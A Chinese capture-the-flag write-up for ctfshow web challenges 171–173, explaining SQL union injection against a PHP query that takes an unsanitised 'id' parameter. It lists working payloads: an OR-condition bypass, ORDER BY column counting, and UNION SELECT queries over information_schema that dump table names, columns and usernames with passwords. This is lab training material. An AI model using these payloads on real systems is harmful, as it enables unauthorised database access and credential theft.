ctfshow(171,172,173)--SQL注入--联合注入

news2024/10/28 18:25:23

Web171

进入靶场,是一个SQL查询界面:
在这里插入图片描述

审计:

查询语句如下:

$sql = "select username,password from user where username !='flag' and id = '".$_GET['id']."' limit 1;";

语句功能从数据表user中查询username,password两个字段。
查询条件是username!='flag'并且id = '".$_GET['id']."' limit 1;"

比如当我们查询id=1的数据,id='1' limit 1;查询数据是以单引号形式闭合。
limit 1 的含义是当查询到相应的数据时,只返回一条数据。

思路:

我们能够控制的值只有$_GET['id'].
我们令id的值为:

id=-1' or username='flag

拼接到语句中产生的效果就是:

id='-1' or username='flag' limit 1;

or运算符的作用是:运算符前后只要有一个语句为true即可。
在这段语句中,or的前件是username !='flag' and id ='-1',后件是username='flag' limit 1。无论前件是true还是false,后件都将执行。
如果将or换成and,语句就变成了

username !='flag' and id ='-1' and username='flag' limit 1

由于username不可能在不等于flag的同时又等于flag,所以不能查询到flag。

EXP:

payload:
在这里插入图片描述

Web172

进入界面,是一只上吊的猫🐱:
在这里插入图片描述挺有趣的,但是注入要紧。
进入SELECT模块->无过滤注入2,开始注入:
在这里插入图片描述

审计:

查询语句和上一题一样:

$sql = "select username,password from ctfshow_user2 where username !='flag' and id = '".$_GET['id']."' limit 1;";

但是多了一步审查:

if($row->username!=='flag'){
      $ret['msg']='查询成功';
    }

对象row指的是查询出的行,如果该对象的username不为flag,才能查询成功。

思路/EXP:

不能直接查询username为flag的行了,选择使用联合注入爆库。
首先使用order by语句查询字段数。
2指的是字段数,–+是注释掉后面的语句。
当字段数小于或等于数据表的字段数时,能成功查询。

1' order by 2 --+

在这里插入图片描述当字段数大于数据表字段数时,查询失败。

1' order by 3 --+

在这里插入图片描述

然后union select联合查询
这里有两个注意点:
将前面的数字变为-1,因为数据表中没有id=-1的行,这样就不会查询出数据,防止查询的数据覆盖我们需要的回显。
第二点是联合查询后面的数字对应相应的字段。

-1' union select 1,2--+

在这里插入图片描述

查询数据库名
database()返回当前数据库名。

-1' union select 1,database()--+

在这里插入图片描述
查询数据表名
group_concat() 用于合并多行数据为一行输出。
这条语句的作用是查询ctfshow_web数据库中的全部数据表名。

-1' union select 1,group_concat(table_name) from information_schema.tables where table_schema='ctfshow_web'--+

在这里插入图片描述查询字段名

-1' union select 1,group_concat(column_name) from information_schema.columns where table_name='ctfshow_user'--+

在这里插入图片描述查询字段中的数据

-1' union select 1,group_concat(username,password) from ctfshow_user--+

在这里插入图片描述flag不在这个表中,查询一下另一个表。

-1' union select 1,group_concat(username,password) from ctfshow_user2--+

在这里插入图片描述
得到flag.

Web173

界面如下:
在这里插入图片描述

审计:

查询语句依旧:

$sql = "select id,username,password from ctfshow_user3 where username !='flag' and id = '".$_GET['id']."' limit 1;";

返回逻辑:

if(!preg_match('/flag/i', json_encode($ret))){
      $ret['msg']='查询成功';
    }

json_encode的作用是将PHP变量转换从json形式的字符串。
在字符串中匹配不到flag时,才能查询成功。

思路/EXP:

1' order by 3--+ //order by查出字段数为3
-1' union select 1,2,3--+
-1' union select 1,2,database()--+ //爆库名
-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='ctfshow_web'--+ //爆表名
-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='ctfshow_user3'--+ //爆字段名
-1' union select 1,2,group_concat(password) from ctfshow_user3--+ //爆数据

由于会检查返回的数据中有没有字符串flag,所以我们最后只返回password字段即可,因为username字段中含有flag,会导致被匹配到,从而获取数据失败。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2225596.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

MATLAB生态环境数据处理与分析

原文链接:MATLAB在生态环境数据处理与分析https://mp.weixin.qq.com/s?__bizMzUzNTczMDMxMg&mid2247624407&idx4&sn39c8119bba0797e6bf5cc35eea1c6767&chksmfa8da730cdfa2e266dac5221af101230d7ded29576a34856b31f736a89dbb2e3e481a5e94e8a&to…

日常笔记记录

1、Http 1.1 概念 HTTP 是 HyperText Transfer Protocol(超文本传输协议)的简写,它是 TCP/IP 协议集中的一个应用层协议,是客户端与服务端进行交互时必须遵循的规则。它用于定义 Web 浏览器与 Web 服务器之间交换数据的过程以及…

【Docker】在AlmaLinux 8.10系统中安装Docker-ce过程分享

随着2024年6月30日,官方停止了对CentOS 7的维护,属于CentOS 7的时代终于结束了。当然,对于CentOS 7的维护停止,大家也不用过度紧张,目前仍有部分Linux版本可以提供企业级的生产可用系统服务,比如&#xff1…

Python记录-字典

定义 Python 中的字典(dictionary)是一种内置的数据结构,用于存储键值对(key-value pairs)。字典中的每个键(key)都是唯一的,并且与一个值(value)相关联。键…

vue3学习(二)一款优秀的编辑器

开源项目: https://github.com/Leecason/element-tiptap doc需要改成document,改完之后依然有问题,应该是对vue3兼容不好, 所以在issue中有人回复使用 https://github.com/okijhhyu/element-tiptap-vue3 经过测试,确实…

shiro会话管理和加密

Shiro 会话管理和加密 会话管理 缓存 加密 会话管理 Shiro提供了完整的企业级会话管理功能,不依赖于底层容器(如Tomcat),不管是J2SE还是J2EE环境都可以使用,提供了会话管理,会话事件监听,会话存…

【自动化测试之oracle数据库】MacOs如何安装oracle- client

操作系统为Mac OS,本地在pycharm上跑自动化脚本时,因为有操作oracle数据库的部分,所以需要安装oracle数据库的客户端,并install cx_oracle,本文主要介绍如何在macOS上完成安装,并在python自动化测试代码中配置&#xf…

vue3项目中引入阿里图标库

开篇 本篇的主题是在vue3项目中引入阿里图标库 步骤 注册阿里图标库账号(阿里图标),并创建项目 将图标加入项目中 将需要的图标先加入购物车,随后加入到项目中 生成项目代码 在项目中生成项目代码,便于后续复制到vue项目中 ## 在vue3项目…

信息安全入门——网络安全威胁

目录 前言网络安全威胁概览悄无声息的数据泄露——被动攻击明目张胆的破坏行为——主动攻击网路世界的瘟疫——病毒总结 前言 在数字化时代,信息安全成为了我们每个人都不得不面对的重要议题。网络安全威胁无处不在,它们可能来自网络的暗角,…

MySQL 9从入门到性能优化-慢查询日志

【图书推荐】《MySQL 9从入门到性能优化(视频教学版)》-CSDN博客 《MySQL 9从入门到性能优化(视频教学版)(数据库技术丛书)》(王英英)【摘要 书评 试读】- 京东图书 (jd.com) MySQL9数据库技术_夏天又到了…

【51单片机】第一个小程序 —— 点亮LED灯

学习使用的开发板:STC89C52RC/LE52RC 编程软件:Keil5 烧录软件:stc-isp 开发板实图: 文章目录 单片机介绍LED灯介绍练习创建第一个项目点亮LED灯LED周期闪烁 单片机介绍 单片机,英文Micro Controller Unit&#xff0…

信息安全工程师(68)可信计算技术与应用

前言 可信计算技术是一种计算机安全体系结构,旨在提高计算机系统在面临各种攻击和威胁时的安全性和保密性。 一、可信计算技术的定义与原理 可信计算技术通过包括硬件加密、受限访问以及计算机系统本身的完整性验证等技术手段,确保计算机系统在各种攻击和…

力扣hot100-->递归/回溯

递归/回溯 1. 17. 电话号码的字母组合 中等 给定一个仅包含数字 2-9 的字符串,返回所有它能表示的字母组合。答案可以按 任意顺序 返回。 给出数字到字母的映射如下(与电话按键相同)。注意 1 不对应任何字母。 示例 1: 输入&…

c语言中整数在内存中的存储

整数的二进制表示有三种:原码,反码,补码 有符号的整数,三种表示方法均有符号位和数值位两部分,符号位都是用‘0’表示“正,用1表示‘负’ 最高位的以为被当作符号位,剩余的都是数值位。 整数…

智慧旅游微信小程序平台

作者介绍:✌️大厂全栈码农|毕设实战开发,专注于大学生项目实战开发、讲解和毕业答疑辅导。 🍅获取源码联系方式请查看文末🍅 推荐订阅精彩专栏 👇🏻 避免错过下次更新 Springboot项目精选实战案例 更多项目…

Vue3.js - 数据代理方法

1. Vue导入 最简单的方式&#xff0c;通过联网接入Vue3的接口 <script type"text/javascript" src"https://unpkg.com/vue3"></script> 2. Vue实例 2.1 创建Vue实例 const vm Vue.createApp({}) 使用Vue中的createApp方法创建对应实例&a…

115页PPT华为管理变革:制度创新与文化塑造的核心实践

集成供应链&#xff08;ISC&#xff09;体系 集成供应链&#xff08;ISC&#xff09;体系是英文Integrated Supply Chain的缩写&#xff0c;是一种先进的管理思想&#xff0c;它指的是由相互间提供原材料、零部件、产品和服务的供应商、合作商、制造商、分销商、零售商、顾客等…

AI 提示词(Prompt)入门 :ChatGPT 4.0 高级功能指南

这段时间 GPT4 多了很多功能&#xff0c;今天主要是增加了 GPTs Store 的介绍和 创建 GPTs 的简单方法&#xff0c;那么我们开始吧&#xff0c;文末有彩蛋。 这里主要讲解如下几个点&#xff1a; 1&#xff1a; ChatGPT 4.0 插件的使用 2&#xff1a;ChatGPT 4.0 高级数据分…

【小白学机器学习16】 概率论的世界观2: 从正态分布去认识世界

目录 1 从正态分布说起 1.1 正态分布的定义 1.2 正态分布的名字 1.3 正态分布的广泛&#xff0c;和基础性 2 正态分布的公式和图形 2.1 正态分布 2.2 标准正态分布 3 正态分布的认识的3个层次 3.1 第1层次&#xff1a;个体的某个属性的样本值&#xff0c;服从正态分布…

四、大模型(LLMS)langchain面

本文精心汇总了多家顶尖互联网公司在大模型进阶知识考核中的核心考点&#xff0c;并针对这些考点提供了详尽的解答。并提供电子版本&#xff0c;见于文末百度云盘链接中&#xff0c;供读者查阅。 一、大模型langchainmian • 一、什么是 LangChain? • 二、LangChain 包含哪些…